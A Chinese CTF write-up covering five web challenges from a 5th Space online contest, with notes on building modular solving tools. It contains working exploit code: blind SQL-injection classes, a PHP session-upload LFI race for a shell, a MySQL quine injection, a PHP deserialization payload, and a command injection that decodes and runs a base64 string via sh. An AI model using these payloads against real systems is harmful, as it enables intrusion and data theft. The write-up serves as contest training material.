<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    第五空間線上賽web部分題解與模塊化CTF解題工具編寫的一些思考

    VSole2021-10-19 16:21:08

    0x00 前言

    之前在打大大小小的比賽過程中,發現其實很多題的手法和流程是一致的,只是具體的細節比如說繞過方式不同,如何在比賽中快速寫好通用的邏輯,在解具體賽題的過程中又能快速實現自定義化細節呢。一個簡單的思路就是利用OOP的思想,編寫一些基礎通用的模塊,在比賽時通過繼承和方法重寫實現快速自定義化。

    比如在一類盲注題目中,無論是時間還是布爾,一般來說我們需要拿到一個判斷輸入邏輯是否正確的函數,比如下面這個hack函數

    def hack(host:str,payload:str)->bool:        data = {            "uname":f"-1' or {payload}#",            "passwd":f"123"        }        res = requests.post(f"{host}/sqli.php",data=data)        #print(res.content)        if b"admin" in res.content:            return True        return False
    

    通過這個函數我們判斷一個sql語句的邏輯結果是否正確,利用這點,我們可以利用枚舉或者二分的手法來判斷數據內容,從而進行盲注,一個常見的枚舉函數如下圖所示

    def equBlind(sql:str)->None:        ret=""        i = 1        while True:            flag = 0            for ch in string.printable:                payload=f'((ascii(substr(({sql}),{i},1)))={ord(ch)})'                sys.stdout.write("{0} [-] Result : -> {1} <-\r".format(threading.current_thread().name,ret+ch))                sys.stdout.flush()                if hack(payload):                    ret=ret+ch                    sys.stdout.write("{0} [-] Result : -> {1} <-\r".format(threading.current_thread().name,ret))                    sys.stdout.flush()                    flag = 1                    break            if flag == 0:                break            i+=1        sys.stdout.write(f"{threading.current_thread().name} [+] Result : -> {ret} <-")
    

    當然,不同的題目注入的方式和注入點肯定是不一樣的,需要快速的自定義細節,那么我們要繼續細化各函數的功能嗎,顯然不太現實,而且調用起來也會很麻煩。如何在耦合和內聚中取得平衡是在模塊編寫中需要注意的。目前的一個簡單想法就是把大的邏輯分開,比如盲注中判定sql邏輯的部分和注出數據的部分,從外部傳入target,各功能之間的公用參數掛在對象上。下面是一個基礎的Sql注入利用類

    import requests
    import threading,sys
    import string
    class BaseSqliHelper:
        def __init__(self,host:str) -> None:
            self.host = host
            self.pt = string.printable
            pass
        def hack(self,payload:str)->bool:
            data = {
                "uname":f"-1' or {payload}#",
                "passwd":f"123"
            }
            res = requests.post(f"{self.host}/sqli.php",data=data)
            #print(res.content)
            if b"admin" in res.content:
                return True
            return False
        def equBlind(self,sql:str)->None:
            ret=""
            i = 1
            while True:
                flag = 0
                for ch in self.pt:
                    payload=f'((ascii(substr(({sql}),{i},1)))={ord(ch)})'
                    sys.stdout.write("{0} [-] Result : -> {1} <-\r".format(threading.current_thread().name,ret+ch))
                    sys.stdout.flush()
                    if self.hack(payload):
                        ret=ret+ch
                        sys.stdout.write("{0} [-] Result : -> {1} <-\r".format(threading.current_thread().name,ret))
                        sys.stdout.flush()
                        flag = 1
                        break
                if flag == 0:
                    break
                i+=1
            sys.stdout.write(f"{threading.current_thread().name} [+] Result : -> {ret} <-")
        def efBlind(self,sql:str)->None:
            ret=""
            i = 1
            while True:
                l=20
                r=130
                while(l+1<r):
                    mid=(l+r)//2
                    payload=f"if((ascii(substr(({sql}),{i},1)))>{mid},1,0)"
                    if self.hack(payload):
                        l=mid
                    else :
                        r=mid
                if(chr(r) not in self.pt):
                    break
                i+=1
                ret=ret+chr(r)
                sys.stdout.write("[-]{0} Result : -> {1} <-\r".format(threading.current_thread().name,ret))
                sys.stdout.flush()
            sys.stdout.write(f"{threading.current_thread().name} [+] Result : -> {ret} <-")
    if __name__ == "__main__":
        host = "http://127.0.0.1:2335"
        sqlexp = BaseSqliHelper(host=host)
        print(sqlexp.hack("1=1"))
        sql = "select database()"
        sqlexp.equBlind(sql)
        sqlexp.efBlind(sql)
    

    目前在 https://github.com/EkiXu/ekitools 倉庫中實現了幾個簡單的模塊,包括php session lfi,Sqli 以及quine相關,tests文件夾下存放了一些示例用來測試基礎類功能是否正常。

    一些模塊利用方法將會在后面的wp中具體進行介紹。

    0x01 EasyCleanup

    看了一下源碼,出題人應該是想讓選手利用最多8種字符,最長15字符的rce實現getshell,然而看phpinfo();沒禁php session upload progress同時給了文件包含

    那么就直接拿寫好的模塊一把梭了,可以看到這里利用繼承重寫方法的方式進行快速自定義,實際解題中就是copy基礎類源碼中示例函數+簡單修改

    from ekitools.PHP_LFI import BasePHPSessionHelper
    import threading,requests
    host= "http://114.115.134.72:32770"
    class Exp(BasePHPSessionHelper):
        def sessionInclude(self,sess_name="ekitest"):
            #sessionPath = "/var/lib/php5/sess_" + sess_name
            #sessionPath = f"/var/lib/php/sessions/sess_{sess_name}"
            sessionPath = f"/tmp/sess_{sess_name}"
            upload_url = f"{self.host}/index.php"
            include_url = f"{self.host}/index.php?file={sessionPath}"
            headers = {'Cookie':'PHPSESSID=' + sess_name}
            t = threading.Thread(target=self.createSession,args=(upload_url,sess_name))
            t.setDaemon(True)
            t.start()
            while True:
                res = requests.post(include_url,headers=headers)
                if b'Included' in res.content:
                    print("[*] Get shell success.")
                    print(include_url,res.content)
                    break
                else:
                    print("[-] retry.")
            return True
    exp = Exp(host)
    exp.sessionInclude("g")
    

    0x02 yet_another_mysql_injection

    題目提示了?source給了源碼

    <?php
    include_once("lib.php");
    function alertMes($mes,$url){
        die("<script>alert('{$mes}');location.href='{$url}';</script>");
    }
    function checkSql($s) {
        if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
            alertMes('hacker', 'index.php');
        }
    }
    if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
        $username=$_POST['username'];
        $password=$_POST['password'];
        if ($username !== 'admin') {
            alertMes('only admin can login', 'index.php');
        }
        checkSql($password);
        $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
        $user_result=mysqli_query($con,$sql);
        $row = mysqli_fetch_array($user_result);
        if (!$row) {
            alertMes("something wrong",'index.php');
        }
        if ($row['password'] === $password) {
        die($FLAG);
        } else {
        alertMes("wrong password",'index.php');
      }
    }
    if(isset($_GET['source'])){
      show_source(__FILE__);
      die;
    }
    ?>
    <!-- source code here:  /?source -->
    <!DOCTYPE html>
    <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="initial-scale=1.0, user-scalable=no, width=device-width">
    <title>SQLi</title>
    <link rel="stylesheet" type="text/css" href="./files/reset.css">
    <link rel="stylesheet" type="text/css" href="./files/scanboardLogin.css">
    <link rel="stylesheet" type="text/css" href="./files/animsition.css">
    </head>
    <body>
      <div class="wp animsition" style="animation-duration: 0.8s; opacity: 1;">
        <div class="boardLogin">
          <div class="logo ">
            LOGIN AS ADMIN!
          </div>
          <form action="index.php" method="post">
            <div class="inpGroup">
              <span class="loginIco1"></span>
              <input type="text" name="username" placeholder="請輸入您的用戶名">
            </div>
            <div class="inpGroup">
              <span class="loginIco2"></span>
              <input type="password" name="password" placeholder="請輸入您的密碼">
            </div>
            <div class="prompt">
              <p class="success">輸入正確</p>
            </div>
            <button class="submit">登錄</button>
          </form>
        </div>
      </div>
      <div id="particles-js"><canvas class="particles-js-canvas-el" style="width: 100%; height: 100%;" width="3360" height="1780"></canvas></div>
    <script type="text/javascript" src="./files/jquery.min.js"></script>
    <script type="text/javascript" src="./files/jquery.animsition.js"></script>
    <script src="./files/particles.min.js"></script>
    <script src="./files/app.js"></script>
    <script type="text/javascript">
      $(".animsition").animsition({
          inClass               :   'fade-in',
          outClass              :   'fade-out',
          inDuration            :    800,
          outDuration           :    1000,
          linkElement           :   '.animsition-link',
          loading               :    false,
          loadingParentElement  :   'body',
          loadingClass          :   'animsition-loading',
          unSupportCss          : [ 'animation-duration',
                                    '-webkit-animation-duration',
                                    '-o-animation-duration'
                                  ],
          overlay               :   false,
          overlayClass          :   'animsition-overlay-slide',
          overlayParentElement  :   'body'
        });
    </script>
    </body></html>
    

    可以看到可控參數其實只有password,那么直接構造一個永真式

    'or '1'like '1
    

    然后發現還是報

    alertMes("something wrong",'index.php');
    

    可以推斷庫中沒有數據,此時仍然要使得$row['password'] === $password,很容易想到通過聯合注入來構造$row['password'],然而為了實現這一目標我們要使輸入的password參數查出的password列值為自身。事實上這是一類quine即執行自身輸出自身,quine一個常見的思路就是通過替換來構造,通過將一個較短的占位符,替換成存在的長串字符串來構造。這個考點也在Holyshield CTF和Codegate出現過

    def genMysqlQuine(sql:str,debug:bool=False,tagChar:str="$")->str:
        '''
        $$用于占位
        '''
        tagCharOrd:int = ord(tagChar)
        if debug: 
            print(sql)
        sql = sql.replace('$$',f"REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR({tagCharOrd}),$$)")
        text = sql.replace('$$',f'"{tagChar}"').replace("'",'"')
        sql = sql.replace('$$',f"'{test}'")
        if debug: 
            print(sql)
        return sql
    if __name__ == "__main__":
        res = genMysqlQuine("UNION SELECT $$ as password -- ",tagChar="%")
        print(res)
    

    該代碼也模塊化放在ekitools里了

    from ekitools.quine import genMysqlQuine
    import requests
    host = "http://114.115.143.25:32770"
    data = {
        "username":"admin",
        "password":genMysqlQuine("'union select $$ as password#",tagChar="%").replace(" ","/**/")
    }
    print(data)
    res = requests.post(host,data=data)
    print(res.content)
    

    0x03 pklovecloud

    直接反序列化了,好像也沒啥鏈子。。。

    <?php  
    class acp 
    {   
        protected $cinder;  
        public $neutron;
        public $nova;
        function setCinder($cinder){
            $this->cinder = $cinder;
        }
    }  
    class ace
    {    
        public $filename;     
        public $openstack;
        public $docker; 
    }  
    $b = new stdClass;
    $b->neutron = $heat;
    $b->nova = $heat;
    $a = new ace;
    $a->docker = $b;
    $a->filename = 'flag.php';
    $exp = new acp;
    $exp->setCinder($a);
    var_dump(urlencode(serialize($exp)));
    ?>
    

    0x04 PNG圖片轉換器

    閱讀相關材料

    https://cheatsheetseries.owasp.org/cheatsheets/Ruby_on_Rails_Cheat_Sheet.html#command-injection

    可知redis的一個特性 open能夠命令注入

    那么繞過手段就很多了,比如base64

    import requests
    url  = "http://114.115.128.215:32770"
    #url = "http://127.0.0.1:4567"
    print(hex(ord('.')),hex(ord("/")))
    res = requests.post(f"{url}/convert",data="file=|echo Y2F0IC9GTEE5X0t5d1hBdjc4TGJvcGJwQkR1V3Nt | base64 -d | sh;.png".encode("utf-8"),headers={"Content-Type":"application/x-www-form-urlencoded"},allow_redirects=False)
    print(res.content)
    

    0x05 WebFtp

    好像就是一個./git源碼泄露,審計下代碼在/Readme/mytz.php有act能獲取phpinfo(),在phpinfo環境變量頁面里能得到flag

    sql注入模塊化
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    如何在耦合和內聚中取得平衡是在模塊編寫中需要注意的。目前的一個簡單想法就是把大的邏輯分開,比如盲注中判定sql邏輯的部分和注出數據的部分,從外部傳入target,各功能之間的公用參數掛在對象上。下面是一個基礎的Sql注入利用類import requests
    Scanners-Box 指引#簡介#Scanners-Box是一個集合github平臺上的安全行業從業人員自研開源掃描器的倉庫,包括子域名枚舉、數據庫漏洞掃描、弱口令或信息泄漏掃描、端口掃描、指紋識別以及其他大型掃描器或模塊化掃描器;該倉庫只收錄各位網友自己編寫的一般性開源掃描器,類似nmap、w3af、brakeman等知名掃描工具不收錄。
    應用程序接口(Application Programming Interface,API)是一些預先被定義的接口或協議,用來實現和其他軟件組件的交互。
    網上安全滲透測試工具整理全集,部分鏈接可能失效,但可以搜索到
    Web Hacking 101 中文版:https://wizardforcel.gitbooks.io/web-hacking-101/content/ 淺入淺出Android安全 中文版:https://wizardforcel.gitbooks.io/asani/content/ Android 滲透測試學習手冊 中文
    Arsenal是一個功能強大且使用簡單的Shell腳本,該工具專為漏洞賞金獵人設計,在該工具的幫助下,我們可以輕松在自己環境中安裝并部署目前社區中功能最為強大的網絡偵查工具、漏洞掃描工具和其他安全研究工具。
    從政府側、供給側、需求側、專業機構等角度出發,聚焦創新和市場雙驅動、供給和需求互促進、治理和發展兩手抓等思路,加大技術研究及應用示范支持力度,分類推進數據安全技術產品的服務創新,強化數據安全防護和數據開發利用,做專做強數據安全檢測評估工作。
    02WiresharkWireshark是一種流行的網絡協議分析器,可在各大操作系統上運行。Jok3r的說明文檔尚在完善中,但模塊組合使其成為一款強大的工具。08sqlmapSQL注入是一種常見的攻擊途徑,主要針對接受用戶動態值的數據驅動型Web應用程序實施攻擊,因此sqlmap之類的工具必不可少。11Aircrack-ngAircrack-ng是一整套Wi-Fi網絡安全測試工具,旨在評估Wi-Fi網絡的安全。所有工具都是命令行工具,以便編寫大量腳本,許多GUI利用了這項功能。無論選擇哪一款工具,都應確保它們仍受到積極支持。
    安全測試是一項工作量很大的任務,安全團隊沒有時間或足夠人手完成這項任務。
    證券行業開源治理工作的啟動已經迫在眉睫。從外部環境來看,從國家、行業到監管機構,均有了明確發文、要求及建議,并出臺了網絡安全法、行業要求、專項通知等具體政策,不乏企業因為使用有漏洞的開源組件而受到相關監管機構通報。從內部環境來看,證券機構為深化數字化轉型,IT部門規模在不斷擴編,而借助開源技術的使用會大大加速這一過程。開源技術在帶來便利的同時,背后也隱藏著很多風險,甚至會給證券機構穩定經營造成嚴重
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类